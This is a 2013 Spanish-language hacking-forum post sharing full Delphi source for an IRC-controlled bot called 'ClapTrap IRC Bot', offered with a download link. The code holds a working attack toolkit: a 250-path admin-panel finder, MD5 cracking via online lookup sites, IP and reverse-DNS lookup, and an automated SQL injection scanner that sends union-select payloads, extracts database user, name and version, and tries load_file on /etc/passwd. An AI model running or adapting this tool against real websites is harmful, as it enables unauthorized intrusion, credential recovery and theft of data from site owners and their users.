comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Delphi] ClapTrap IRC Bot 0.5

  • 0 Respuestas
  • 2291 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Noviembre 11, 2013, 01:13:28 pm »
Acabo de terminar mi nuevo programa en Delphi "ClapTrap IRC Bot" , como su nombre dice es solo un bot para IRC con las siguientes opciones :

  • Busca panel de administracion
  • Localiza IP y sus DNS
  • Crackea hashes MD5
  • Y scannea SQLI


Unas imagenes :





Menu de carga

Código: Delphi
  1. // ClapTrap IRC Bot 0.5
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit clap;
  5.  
  6. interface
  7.  
  8. uses
  9.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.   Dialogs, acPNG, ExtCtrls, sSkinManager, ComCtrls, acProgressBar, StdCtrls,
  11.   sGroupBox, sButton, sLabel;
  12.  
  13. type
  14.   TForm1 = class(TForm)
  15.     sSkinManager1: TsSkinManager;
  16.     Image1: TImage;
  17.     sGroupBox1: TsGroupBox;
  18.     sProgressBar1: TsProgressBar;
  19.     Timer1: TTimer;
  20.     procedure FormCreate(Sender: TObject);
  21.     procedure Timer1Timer(Sender: TObject);
  22.   private
  23.     { Private declarations }
  24.   public
  25.     { Public declarations }
  26.   end;
  27.  
  28. var
  29.   Form1: TForm1;
  30.  
  31. implementation
  32.  
  33. uses menu;
  34. {$R *.dfm}
  35.  
  36. procedure TForm1.FormCreate(Sender: TObject);
  37.  
  38. begin
  39.  
  40.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  41.   sSkinManager1.SkinName := 'cappuccino';
  42.   sSkinManager1.Active := True;
  43.  
  44. end;
  45.  
  46. procedure TForm1.Timer1Timer(Sender: TObject);
  47. var
  48.   i: integer;
  49.   total: integer;
  50.  
  51. begin
  52.  
  53.   total := 0;
  54.   sProgressBar1.Min := 0;
  55.   sProgressBar1.Max := 100;
  56.  
  57.   For i := 1 to 100 do
  58.   begin
  59.  
  60.     Form1.Update;
  61.  
  62.     Sleep(1000);
  63.  
  64.     total := total + 10;
  65.  
  66.     sProgressBar1.Position := total;
  67.  
  68.     if (sProgressBar1.Position = 100) then
  69.     begin
  70.       Timer1.Enabled := False;
  71.       Form1.Hide;
  72.       Form2.Show;
  73.       Abort;
  74.     end;
  75.   end;
  76.  
  77. end;
  78.  
  79. end.
  80.  
  81. // The End ?
  82.  

Menu

Código: Delphi
  1. // ClapTrap IRC Bot 0.5
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit menu;
  5.  
  6. interface
  7.  
  8. uses
  9.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.   Dialogs, sSkinManager, StdCtrls, sButton, sEdit, sLabel, sGroupBox, ComCtrls,
  11.   sStatusBar, acPNG, ExtCtrls, GIFImg, sMemo, IdContext, IdBaseComponent,
  12.   IdComponent, IdTCPConnection, IdTCPClient, IdCmdTCPClient, IdIRC, PerlRegEx,
  13.   IdMultipartFormData, IdHTTP;
  14.  
  15. type
  16.   TForm2 = class(TForm)
  17.     sSkinManager1: TsSkinManager;
  18.     sGroupBox1: TsGroupBox;
  19.     sLabel1: TsLabel;
  20.     sLabel2: TsLabel;
  21.     sLabel3: TsLabel;
  22.     sLabel4: TsLabel;
  23.     sEdit1: TsEdit;
  24.     sEdit2: TsEdit;
  25.     sEdit3: TsEdit;
  26.     sEdit4: TsEdit;
  27.     sButton1: TsButton;
  28.     sButton2: TsButton;
  29.     sStatusBar1: TsStatusBar;
  30.     Image1: TImage;
  31.     sGroupBox2: TsGroupBox;
  32.     sMemo1: TsMemo;
  33.     Image2: TImage;
  34.     PerlRegEx1: TPerlRegEx;
  35.     IdIRC1: TIdIRC;
  36.     PerlRegEx2: TPerlRegEx;
  37.     IdHTTP1: TIdHTTP;
  38.     procedure sButton1Click(Sender: TObject);
  39.     procedure sButton2Click(Sender: TObject);
  40.     procedure IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
  41.       AHost, ANicknameTo, AMessage: string);
  42.  
  43.     procedure FormCreate(Sender: TObject);
  44.  
  45.     procedure FormClose(Sender: TObject; var Action: TCloseAction);
  46.   private
  47.     { Private declarations }
  48.   public
  49.     { Public declarations }
  50.   end;
  51.  
  52. var
  53.   Form2: TForm2;
  54.  
  55. implementation
  56.  
  57. {$R *.dfm}
  58.  
  59. procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
  60. begin
  61.   Application.Terminate;
  62. end;
  63.  
  64. procedure TForm2.FormCreate(Sender: TObject);
  65. begin
  66.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  67.   sSkinManager1.SkinName := 'cappuccino';
  68.   sSkinManager1.Active := True;
  69. end;
  70.  
  71. procedure TForm2.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
  72.   AHost, ANicknameTo, AMessage: string);
  73.  
  74. var
  75.   rta: string;
  76.   z: integer;
  77.   par: TIdMultiPartFormDataStream;
  78.   target: string;
  79.  
  80. var
  81.   IdHTTP: TIdHTTP;
  82.   i: integer;
  83.  
  84. var
  85.   url: string;
  86.   urldos: string;
  87.   code: string;
  88.   codedos: string;
  89.   pass1: string;
  90.   pass2: string;
  91.   urltest: string;
  92.   urlgen: string;
  93.  
  94. var
  95.   hextest: string;
  96.   web1: string;
  97.   web2: string;
  98.   web3: string;
  99.   full: string;
  100.  
  101. const
  102.   paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
  103.     'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
  104.     'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
  105.     'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
  106.     'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
  107.     'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
  108.     'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
  109.     'login/index.asp', 'login/index.aspx', 'login/login.asp',
  110.     'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
  111.     'administracion/index.asp', 'administracion/index.aspx',
  112.     'administracion/login.asp', 'administracion/login.aspx',
  113.     'administracion/webmaster.asp', 'administracion/webmaster.aspx',
  114.     'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
  115.     'admin/admin.php', 'admin/index.php', 'admin/login.php',
  116.     'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
  117.     'admin/default.php', 'administracion/', 'administracion/index.php',
  118.     'administracion/login.php', 'administracion/ingresar.php',
  119.     'administracion/admin.php', 'administration/', 'administration/index.php',
  120.     'administration/login.php', 'administrator/index.php',
  121.     'administrator/login.php', 'administrator/system.php', 'system/',
  122.     'system/login.php', 'admin.php', 'login.php', 'administrador.php',
  123.     'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
  124.     'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
  125.     'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
  126.     'admin/index.html', 'admin/login.html', 'admin/home.php',
  127.     'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
  128.     'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
  129.     'administrator/index.html', 'administrator/login.html',
  130.     'administrator/account.html', 'administrator/account.php',
  131.     'administrator.html', 'login.html', 'modelsearch/login.php',
  132.     'moderator.php', 'moderator.html', 'moderator/login.php',
  133.     'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
  134.     'moderator/', 'account.php', 'account.html', 'controlpanel/',
  135.     'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
  136.     'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
  137.     'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
  138.     'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
  139.     'administrator/index.asp', 'administrator/login.asp',
  140.     'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
  141.     'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
  142.     'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
  143.     'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
  144.     'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
  145.     'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
  146.     'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
  147.     'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
  148.     'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
  149.     'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
  150.     'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
  151.     'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
  152.     'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
  153.     'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
  154.     'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
  155.     'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
  156.     'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
  157.     'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
  158.     'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
  159.     'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
  160.     'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
  161.     'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
  162.     'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
  163.     'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
  164.     'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
  165.     'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
  166.     'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
  167.     'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
  168.     'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
  169.     'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
  170.     'system_administration/', 'ss_vms_admin_sm/');
  171.  
  172. begin
  173.   if ANicknameFrom = sEdit4.Text then
  174.   begin
  175.  
  176.     // Help
  177.  
  178.     PerlRegEx1.Regex := '!help';
  179.     PerlRegEx1.Subject := AMessage;
  180.  
  181.     if PerlRegEx1.Match then
  182.     begin
  183.       IdIRC1.Say(ANicknameFrom, 'Hi , I am ClapTrap and my commands are :');
  184.       IdIRC1.Say(ANicknameFrom, '!locateip <target>');
  185.       IdIRC1.Say(ANicknameFrom, '!panel <target>');
  186.       IdIRC1.Say(ANicknameFrom, '!sqli <target>');
  187.       IdIRC1.Say(ANicknameFrom, '!crackmd5 <md5>');
  188.       IdIRC1.Say(ANicknameFrom, '!help <?>');
  189.       IdIRC1.Say(ANicknameFrom, 'Good Bye');
  190.     end;
  191.  
  192.     //
  193.  
  194.     // LocateIP
  195.  
  196.     PerlRegEx1.Regex := '!locateip (.*)';
  197.     PerlRegEx1.Subject := AMessage;
  198.  
  199.     if PerlRegEx1.Match then
  200.     begin
  201.  
  202.       sStatusBar1.Panels[0].Text := '[+] LocateIP : Working';
  203.       Form2.sStatusBar1.Update;
  204.  
  205.       sMemo1.Lines.Add('[+] LocateIP : Working');
  206.  
  207.       IdIRC1.Say(ANicknameFrom, '[+] LocateIP : Working');
  208.  
  209.       par := TIdMultiPartFormDataStream.Create;
  210.       par.AddFormField('DOMAINNAME', PerlRegEx1.SubExpressions[1]);
  211.  
  212.       rta := IdHTTP1.Post('http://whatismyipaddress.com/hostname-ip', par);
  213.  
  214.       PerlRegEx2.Regex := 'Lookup IP Address: <a href=(.*)>(.*)<\/a>';
  215.       PerlRegEx2.Subject := rta;
  216.  
  217.       if PerlRegEx2.Match then
  218.       begin
  219.         target := PerlRegEx2.SubExpressions[2];
  220.  
  221.         rta := IdHTTP1.Get(
  222.           'http://www.melissadata.com/lookups/iplocation.asp?ipaddress=' +
  223.             target);
  224.  
  225.         PerlRegEx2.Regex := 'City<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
  226.         PerlRegEx2.Subject := rta;
  227.  
  228.         if PerlRegEx2.Match then
  229.         begin
  230.  
  231.           IdIRC1.Say(ANicknameFrom, '[+] City : ' + PerlRegEx2.SubExpressions[2]
  232.             );
  233.  
  234.         end
  235.         else
  236.         begin
  237.           IdIRC1.Say(ANicknameFrom, '[+] City : Not Found');
  238.         end;
  239.  
  240.         PerlRegEx2.Regex := 'Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
  241.         PerlRegEx2.Subject := rta;
  242.  
  243.         if PerlRegEx2.Match then
  244.         begin
  245.           IdIRC1.Say(ANicknameFrom, '[+] Country : ' + PerlRegEx2.SubExpressions
  246.               [2]);
  247.  
  248.         end
  249.         else
  250.         begin
  251.           IdIRC1.Say(ANicknameFrom, '[+] Country : Not Found');
  252.         end;
  253.  
  254.         PerlRegEx2.Regex :=
  255.           'State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
  256.         PerlRegEx2.Subject := rta;
  257.  
  258.         if PerlRegEx2.Match then
  259.         begin
  260.           IdIRC1.Say(ANicknameFrom, '[+] State : ' + PerlRegEx2.SubExpressions
  261.               [2]);
  262.         end
  263.         else
  264.         begin
  265.           IdIRC1.Say(ANicknameFrom, '[+] State : Not Found');
  266.         end;
  267.  
  268.         //
  269.  
  270.         // Get DNS
  271.  
  272.         rta := IdHTTP1.Get('http://www.ip-adress.com/reverse_ip/' + target);
  273.  
  274.         PerlRegEx2.Regex := 'whois\/(.*?)\">Whois';
  275.         PerlRegEx2.Subject := rta;
  276.  
  277.         while PerlRegEx2.MatchAgain do
  278.         begin
  279.           for z := 1 to PerlRegEx2.SubExpressionCount do
  280.             IdIRC1.Say(ANicknameFrom,
  281.               '[+] DNS Found : ' + PerlRegEx2.SubExpressions[z]);
  282.         end;
  283.  
  284.       end;
  285.  
  286.       sStatusBar1.Panels[0].Text := '[+] LocateIP : Finished';
  287.       Form2.sStatusBar1.Update;
  288.  
  289.       sMemo1.Lines.Add('[+] LocateIP : Finished');
  290.  
  291.       IdIRC1.Say(ANicknameFrom, '[+] LocateIP : Finished');
  292.  
  293.       //
  294.     end;
  295.  
  296.     //
  297.  
  298.     // PanelFinder
  299.  
  300.     PerlRegEx1.Regex := '!panel (.*)';
  301.     PerlRegEx1.Subject := AMessage;
  302.  
  303.     if PerlRegEx1.Match then
  304.     begin
  305.       //
  306.  
  307.       sStatusBar1.Panels[0].Text := '[+] PanelFinder : Working';
  308.       Form2.sStatusBar1.Update;
  309.  
  310.       IdIRC1.Say(ANicknameFrom, '[+] PanelFinder : Working');
  311.  
  312.       sMemo1.Lines.Add('[+] PanelFinder : Working');
  313.  
  314.       try
  315.  
  316.         IdHTTP := TIdHTTP.Create(nil);
  317.  
  318.         for i := Low(paginas) to High(paginas) do
  319.           try
  320.  
  321.             sStatusBar1.Panels[0].Text := '[+] Testing : ' + paginas[i];
  322.             Form2.sStatusBar1.Update;
  323.  
  324.             IdHTTP.Get(PerlRegEx1.SubExpressions[1] + '/' + paginas[i]);
  325.             if IdHTTP.ResponseCode = 200 then
  326.               IdIRC1.Say(ANicknameFrom,
  327.                 '[+] Link Found : ' + PerlRegEx1.SubExpressions[1]
  328.                   + '/' + paginas[i]);
  329.           except
  330.             on E: EIdHttpProtocolException do
  331.               ;
  332.             on E: Exception do
  333.               ;
  334.           end;
  335.       finally
  336.         IdHTTP.Free;
  337.       end;
  338.  
  339.       sStatusBar1.Panels[0].Text := '[+] PanelFinder : Finished';
  340.       Form2.sStatusBar1.Update;
  341.  
  342.       IdIRC1.Say(ANicknameFrom, '[+] PanelFinder : Finished');
  343.  
  344.       sMemo1.Lines.Add('[+] PanelFinder : Finished');
  345.  
  346.       //
  347.     end;
  348.  
  349.     //
  350.  
  351.     // Crack MD5
  352.  
  353.     PerlRegEx1.Regex := '!crackmd5 (.*)';
  354.     PerlRegEx1.Subject := AMessage;
  355.  
  356.     if PerlRegEx1.Match then
  357.     begin
  358.  
  359.       sStatusBar1.Panels[0].Text := '[+] CrackMD5 : Working';
  360.       Form2.sStatusBar1.Update;
  361.  
  362.       sMemo1.Lines.Add('[+] CrackMD5 : Working');
  363.  
  364.       IdIRC1.Say(ANicknameFrom, '[+] CrackMD5 : Working');
  365.  
  366.       sStatusBar1.Panels[0].Text := '[+] Searching in md5.hashcracking.com ...';
  367.       Form2.sStatusBar1.Update;
  368.  
  369.       rta := IdHTTP1.Get('http://md5.hashcracking.com/search.php?md5=' +
  370.           PerlRegEx1.SubExpressions[1]);
  371.  
  372.       PerlRegEx2.Regex := 'Cleartext of (.*) is (.*)';
  373.       PerlRegEx2.Subject := rta;
  374.       if PerlRegEx2.Match then
  375.       begin
  376.         IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
  377.             + ':' + PerlRegEx2.SubExpressions[2]);
  378.       end
  379.       else
  380.       begin
  381.  
  382.         rta := IdHTTP1.Get('http://md5.rednoize.com/?q=' +
  383.             PerlRegEx1.SubExpressions[1]);
  384.  
  385.         PerlRegEx2.Regex := '<div id=\"result\" >(.*)<\/div>';
  386.         PerlRegEx2.Subject := rta;
  387.  
  388.         if PerlRegEx2.Match then
  389.  
  390.         begin
  391.  
  392.           if not(Length(PerlRegEx2.SubExpressions[1]) = 32) then
  393.           begin
  394.             IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
  395.                 + ':' + PerlRegEx2.SubExpressions[1]);
  396.           end
  397.           else
  398.  
  399.           begin
  400.  
  401.             sStatusBar1.Panels[0].Text :=
  402.               '[+] Searching in md52.altervista.org ...';
  403.             Form2.sStatusBar1.Update;
  404.  
  405.             rta := IdHTTP1.Get
  406.               ('http://md52.altervista.org/index.php?md5=' +
  407.                 PerlRegEx1.SubExpressions[1]);
  408.  
  409.             PerlRegEx2.Regex :=
  410.               '<br>Password: <font color=\"Red\">(.*)<\/font><\/b>';
  411.             PerlRegEx2.Subject := rta;
  412.  
  413.             if PerlRegEx2.Match then
  414.             begin
  415.               IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
  416.                   + ':' + PerlRegEx2.SubExpressions[1]);
  417.             end
  418.             else
  419.             begin
  420.               IdIRC1.Say(ANicknameFrom, '[-] Hash not cracked');
  421.             end;
  422.           end;
  423.  
  424.         end;
  425.       end;
  426.  
  427.       sStatusBar1.Panels[0].Text := '[+] CrackMD5 : Finished';
  428.       Form2.sStatusBar1.Update;
  429.  
  430.       sMemo1.Lines.Add('[+] CrackMD5 : Finished');
  431.  
  432.       IdIRC1.Say(ANicknameFrom, '[+] CrackMD5 : Finished');
  433.  
  434.     end;
  435.  
  436.     //
  437.  
  438.     // SQLI Scanner
  439.  
  440.     PerlRegEx1.Regex := '!sqli (.*)';
  441.     PerlRegEx1.Subject := AMessage;
  442.  
  443.     if PerlRegEx1.Match then
  444.  
  445.     begin
  446.  
  447.       sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Working';
  448.       Form2.sStatusBar1.Update;
  449.  
  450.       sMemo1.Lines.Add('[+] SQLI Scanner : Working');
  451.  
  452.       IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Working');
  453.  
  454.       pass1 := '+';
  455.       pass2 := '--';
  456.  
  457.       urltest := 'concat(0x4b30425241,1,0x4b30425241)';
  458.  
  459.       sStatusBar1.Panels[0].Text := '[+] Checking ...';
  460.       Form2.sStatusBar1.Update;
  461.  
  462.       IdIRC1.Say(ANicknameFrom, '[+] Checking ...');
  463.  
  464.       code := IdHTTP1.Get
  465.         (PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' + pass1 + '1=1' +
  466.           pass2);
  467.  
  468.       codedos := IdHTTP1.Get
  469.         (PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' + pass1 + '1=0' +
  470.           pass2);
  471.  
  472.       if not(code = codedos) then
  473.       begin
  474.  
  475.         IdIRC1.Say(ANicknameFrom, '[+] Vulnerable !');
  476.  
  477.         sStatusBar1.Panels[0].Text := '[+] Finding columns number';
  478.         Form2.sStatusBar1.Update;
  479.  
  480.         IdIRC1.Say(ANicknameFrom, '[+] Finding columns number');
  481.  
  482.         urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' +
  483.           pass1 + 'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
  484.         urlgen := '1';
  485.         for i := 2 to 36 do
  486.         begin
  487.           sStatusBar1.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
  488.           Form2.sStatusBar1.Update;
  489.           urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i)
  490.             + ',0x4b30425241)';
  491.           urlgen := urlgen + ',' + IntToStr(i);
  492.           code := IdHTTP1.Get(PerlRegEx1.SubExpressions[1] + urltest + pass2);
  493.           PerlRegEx2.Regex := 'K0BRA(.*?)K0BRA';
  494.           PerlRegEx2.Subject := code;
  495.  
  496.           if PerlRegEx2.Match then
  497.           begin
  498.  
  499.             IdIRC1.Say(ANicknameFrom, '[+] Columns Length : ' + IntToStr(i));
  500.             IdIRC1.Say(ANicknameFrom,
  501.               '[+] The number ' + PerlRegEx2.SubExpressions[1] + ' show data');
  502.  
  503.             urlgen := StringReplace(urlgen, PerlRegEx2.SubExpressions[1],
  504.               'hackman', []);
  505.             full := PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' +
  506.               pass1 + '1=0' + pass1 + 'union' + pass1 + 'select' + pass1 +
  507.               urlgen;
  508.  
  509.             IdIRC1.Say(ANicknameFrom, '[+] Link : ' + full);
  510.  
  511.             //
  512.  
  513.             pass1 := '+';
  514.             pass2 := '--';
  515.  
  516.             hextest := '0x2f6574632f706173737764'; // /etc/passwd
  517.             hextest := '0x633A2F78616D70702F726561642E747874';
  518.             // #c:/xampp/read.txt
  519.  
  520.             web1 := StringReplace(full, 'hackman', '0x4b30425241', []);
  521.             web2 := StringReplace(full, 'hackman',
  522.               'concat(0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241)', []);
  523.             web3 := StringReplace(full, 'hackman',
  524.               'unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(' +
  525.                 hextest + '))))', []);
  526.  
  527.             sStatusBar1.Panels[0].Text := '[+] Getting more data ...';
  528.             Form2.sStatusBar1.Update;
  529.  
  530.             code := IdHTTP1.Get
  531.               (web1 + pass1 + 'from' + pass1 + 'mysql.user' + pass2);
  532.             PerlRegEx2.Regex := 'K0BRA';
  533.             PerlRegEx2.Subject := code;
  534.             if PerlRegEx2.Match then
  535.             begin
  536.               IdIRC1.Say(ANicknameFrom, '[+] mysqluser : ON');
  537.             end
  538.             else
  539.             begin
  540.               IdIRC1.Say(ANicknameFrom, '[+] mysqluser : OFF');
  541.             end;
  542.  
  543.             code := IdHTTP1.Get(web1 + pass1 + 'from' + pass1 +
  544.                 'information_schema.tables' + pass2);
  545.             PerlRegEx2.Regex := 'K0BRA';
  546.             PerlRegEx2.Subject := code;
  547.             if PerlRegEx2.Match then
  548.             begin
  549.  
  550.               IdIRC1.Say(ANicknameFrom, '[+] information_schema.tables : ON');
  551.             end
  552.             else
  553.             begin
  554.               IdIRC1.Say(ANicknameFrom, '[+] information_schema.tables : OFF');
  555.             end;
  556.  
  557.             code := IdHTTP1.Get(web3);
  558.             PerlRegEx2.Regex := 'K0BRA';
  559.             PerlRegEx2.Subject := code;
  560.             if PerlRegEx2.Match then
  561.             begin
  562.               IdIRC1.Say(ANicknameFrom, '[+] load_file : ON');
  563.             end
  564.             else
  565.             begin
  566.               IdIRC1.Say(ANicknameFrom, '[+] load_file : OFF');
  567.             end;
  568.  
  569.             sStatusBar1.Panels[0].Text := '[+] Getting DB details ...';
  570.             Form2.sStatusBar1.Update;
  571.  
  572.             code := IdHTTP1.Get(web2);
  573.  
  574.             PerlRegEx2.Regex := 'K0BRA(.*)K0BRA(.*)K0BRA(.*)K0BRA';
  575.             PerlRegEx2.Subject := code;
  576.             if PerlRegEx2.Match then
  577.             begin
  578.  
  579.               IdIRC1.Say(ANicknameFrom,
  580.                 '[+] User : ' + PerlRegEx2.SubExpressions[1]);
  581.               IdIRC1.Say(ANicknameFrom,
  582.                 '[+] Database : ' + PerlRegEx2.SubExpressions[2]);
  583.               IdIRC1.Say(ANicknameFrom,
  584.                 '[+] Version : ' + PerlRegEx2.SubExpressions[3]);
  585.  
  586.               sStatusBar1.Panels[0].Text := '[+] Done';
  587.               Form2.sStatusBar1.Update;
  588.             end
  589.             else
  590.             begin
  591.               IdIRC1.Say(ANicknameFrom, '[-] DB details not found');
  592.               sStatusBar1.Panels[0].Text := '[-] DB details not found';
  593.               Form2.sStatusBar1.Update;
  594.             end;
  595.  
  596.  
  597.             //
  598.  
  599.             sStatusBar1.Panels[0].Text := '[+] Done';
  600.             Form2.sStatusBar1.Update;
  601.  
  602.             IdIRC1.Say(ANicknameFrom, '[+] Done');
  603.  
  604.             sMemo1.Lines.Add('[+] SQLI Scanner : Finished');
  605.  
  606.             sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Finished';
  607.             Form2.sStatusBar1.Update;
  608.  
  609.             IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Finished');
  610.  
  611.             abort;
  612.           end
  613.         end;
  614.         sStatusBar1.Panels[0].Text := '[-] Columns Length not found';
  615.         Form2.sStatusBar1.Update;
  616.         IdIRC1.Say(ANicknameFrom, '[-] Columns Length not found');
  617.       end
  618.       else
  619.       begin
  620.         sStatusBar1.Panels[0].Text := '[-] Not vulnerable';
  621.         Form2.sStatusBar1.Update;
  622.         IdIRC1.Say(ANicknameFrom, '[-] Not vulnerable');
  623.       end;
  624.  
  625.       sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Finished';
  626.       Form2.sStatusBar1.Update;
  627.  
  628.       IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Finished');
  629.  
  630.       sMemo1.Lines.Add('[+] SQLI Scanner : Finished');
  631.  
  632.     end;
  633.  
  634.   end;
  635. end;
  636.  
  637. procedure TForm2.sButton1Click(Sender: TObject);
  638. var
  639.   nick: string;
  640. begin
  641.  
  642.   nick := 'ClapTrap';
  643.  
  644.   IdIRC1.Host := sEdit1.Text;
  645.   IdIRC1.Port := StrToInt(sEdit2.Text);
  646.   IdIRC1.Nickname := nick;
  647.   IdIRC1.Username := nick + ' 1 1 1 1';
  648.   IdIRC1.AltNickname := nick + '-l33t';
  649.  
  650.   try
  651.  
  652.     IdIRC1.Connect;
  653.     IdIRC1.Join(sEdit3.Text);
  654.  
  655.     sStatusBar1.Panels[0].Text := '[+] Connected';
  656.     Form2.sStatusBar1.Update;
  657.  
  658.   except
  659.     sStatusBar1.Panels[0].Text := '[-] Error';
  660.     Form2.sStatusBar1.Update;
  661.   end;
  662.  
  663. end;
  664.  
  665. procedure TForm2.sButton2Click(Sender: TObject);
  666. begin
  667.  
  668.   IdIRC1.Part(sEdit3.Text);
  669.   IdIRC1.Disconnect();
  670.  
  671.   sStatusBar1.Panels[0].Text := '[+] OffLine';
  672.   Form2.sStatusBar1.Update;
  673.  
  674. end;
  675.  
  676. end.
  677.  
  678. // The End ?
  679.  

En honor a ClapTrap el robot gracioso de BorderLands xDD.

Si lo quieren bajar lo pueden hacer de aca.
« Última modificación: Noviembre 11, 2013, 01:15:49 pm por Doddy »

 

¿Te gustó el post? COMPARTILO!



Eliminar acentos y otros agregados de un caracter/cadena Delphi 2009

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3244
Último mensaje Febrero 24, 2010, 04:57:14 pm
por ANTRAX
[Sintaxis general de Delphi] By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2041
Último mensaje Febrero 24, 2010, 04:35:15 pm
por ANTRAX
1er troyano en Delphi By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3474
Último mensaje Febrero 24, 2010, 04:34:48 pm
por ANTRAX
Poner splash screen con progress bar en delphi

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2968
Último mensaje Febrero 24, 2010, 04:54:23 pm
por ANTRAX
[Delphi] Project Spartacus 1.0 (Regalo de Navidad)

Iniciado por BigBear

Respuestas: 2
Vistas: 1672
Último mensaje Diciembre 26, 2014, 11:54:34 pm
por n4pst3r